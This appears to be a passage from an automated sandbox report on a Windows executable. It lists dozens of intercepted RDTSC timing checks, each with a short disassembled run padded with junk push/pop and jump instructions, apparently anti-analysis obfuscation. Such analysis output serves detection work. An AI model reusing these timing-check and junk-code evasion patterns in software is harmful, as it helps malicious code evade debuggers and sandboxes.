Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA924 second address: AEA930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA930 second address: AEA960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C86h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F0B44EA8C7Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA960 second address: AEA966 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA966 second address: AEA96C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAAAB second address: AEAAB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAC11 second address: AEAC26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAC26 second address: AEAC3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ADh 0x00000007 je 00007F0B44BD79B2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAC3D second address: AEAC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAC43 second address: AEAC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0B44BD79ADh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2D9B second address: AF2D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2D9F second address: AF2DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0B44BD79AFh 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F0B44BD79AEh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2DCE second address: AF2DE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0B44EA8C80h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0F55 second address: AF0F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0F59 second address: AF0F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jo 00007F0B44EA8C76h 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f push eax 0x00000010 js 00007F0B44EA8C78h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c jp 00007F0B44EA8C76h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1389 second address: AF138D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF138D second address: AF1393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1393 second address: AF1399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1399 second address: AF13A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF167E second address: AF16A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jns 00007F0B44BD79B2h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F0B44BD79ABh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF17ED second address: AF17F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1C58 second address: AF1C95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0B44BD79B7h 0x0000000f jmp 00007F0B44BD79B1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1DBF second address: AF1DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F0B44EA8C7Ah 0x0000000b jmp 00007F0B44EA8C80h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0ADC second address: AF0AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F0B44BD79A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0AE8 second address: AF0B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F0B44EA8C89h 0x00000011 jg 00007F0B44EA8C76h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0B2C second address: AF0B4C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jbe 00007F0B44BD79A6h 0x00000014 pop esi 0x00000015 jmp 00007F0B44BD79ABh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAEDC second address: AFAEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAEE5 second address: AFAF06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0B44BD79B0h 0x0000000e push edx 0x0000000f jns 00007F0B44BD79A6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0145A second address: B0146F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C7Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43607 second address: A4360C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4360C second address: A43616 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0B44EA8C8Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09979 second address: B09980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B096B7 second address: B096C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0B44EA8C76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B096C3 second address: B096E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 js 00007F0B44BD79A6h 0x0000000e jc 00007F0B44BD79A6h 0x00000014 popad 0x00000015 push ebx 0x00000016 jo 00007F0B44BD79A6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E04D second address: B0E09A instructions: 0x00000000 rdtsc 0x00000002 je 00007F0B44EA8C7Eh 0x00000008 jno 00007F0B44EA8C76h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007F0B44EA8CB7h 0x00000018 pushad 0x00000019 jmp 00007F0B44EA8C86h 0x0000001e push eax 0x0000001f pop eax 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0B44EA8C87h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E09A second address: B0E0A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15246 second address: B15252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0B44EA8C76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15252 second address: B15256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D33C second address: B1D35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C83h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jc 00007F0B44EA8C76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D35E second address: B1D364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D15D second address: B1D183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0B44EA8C76h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F0B44EA8C7Bh 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D183 second address: B1D195 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D195 second address: B1D1B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0B44EA8C89h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D1B9 second address: B1D1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23302 second address: B23316 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F0B44EA8C78h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23316 second address: B2331C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B239C9 second address: B239DF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0B44EA8C7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B239DF second address: B239E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B239E5 second address: B239E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B239E9 second address: B23A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0B44BD79A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0B44BD79B6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A0F second address: B23A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A13 second address: B23A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24605 second address: B2460B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2460B second address: B24633 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0B44BD79BEh 0x00000008 jmp 00007F0B44BD79B8h 0x0000000d jo 00007F0B44BD79ACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28BEE second address: B28C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F0B44EA8C82h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28C07 second address: B28C18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28C18 second address: B28C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30DA5 second address: B30DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0B44BD79ACh 0x0000000a je 00007F0B44BD79A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30DB5 second address: B30DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0B44EA8C76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30DC1 second address: B30E00 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0B44BD79A6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f jnl 00007F0B44BD79A6h 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0B44BD79ADh 0x00000020 jmp 00007F0B44BD79B7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30E00 second address: B30E0A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0B44EA8C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35B14 second address: B35B6E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0B44BD79AEh 0x00000010 jbe 00007F0B44BD79A6h 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b js 00007F0B44BD79C7h 0x00000021 jmp 00007F0B44BD79AAh 0x00000026 jmp 00007F0B44BD79B7h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F0B44BD79ABh 0x00000032 push edx 0x00000033 pop edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43D85 second address: B43D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43D89 second address: B43D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43D8D second address: B43D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43D95 second address: B43DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0B44BD79A6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43DA1 second address: B43DBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C88h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43DBD second address: B43DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43C66 second address: B43C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B467FE second address: B46802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B463AE second address: B463BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B464FF second address: B46522 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0B44BD79A6h 0x00000008 jmp 00007F0B44BD79AAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0B44BD79AFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46522 second address: B46529 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46529 second address: B4652F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4652F second address: B46572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007F0B44EA8C87h 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 pushad 0x00000014 jmp 00007F0B44EA8C85h 0x00000019 ja 00007F0B44EA8C76h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5512E second address: B55133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B553E6 second address: B5540B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0B44EA8C83h 0x00000011 jp 00007F0B44EA8C76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5540B second address: B55415 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55415 second address: B5541B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55B29 second address: B55B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007F0B44BD79A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55DC9 second address: B55DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57946 second address: B57956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79AAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B591F2 second address: B591F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B591F6 second address: B591FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B591FF second address: B59205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59205 second address: B59239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79B4h 0x00000009 jo 00007F0B44BD79A6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0B44BD79B1h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59239 second address: B5923D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59098 second address: B590B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F0B44BD79B1h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A891 second address: B5A8AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0B44EA8C7Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A8AA second address: B5A8AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D136 second address: B5D140 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0B44EA8C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D140 second address: B5D145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F00B second address: B5F02B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0B44EA8C76h 0x00000008 jo 00007F0B44EA8C76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F0B44EA8C7Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F02B second address: B5F02F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
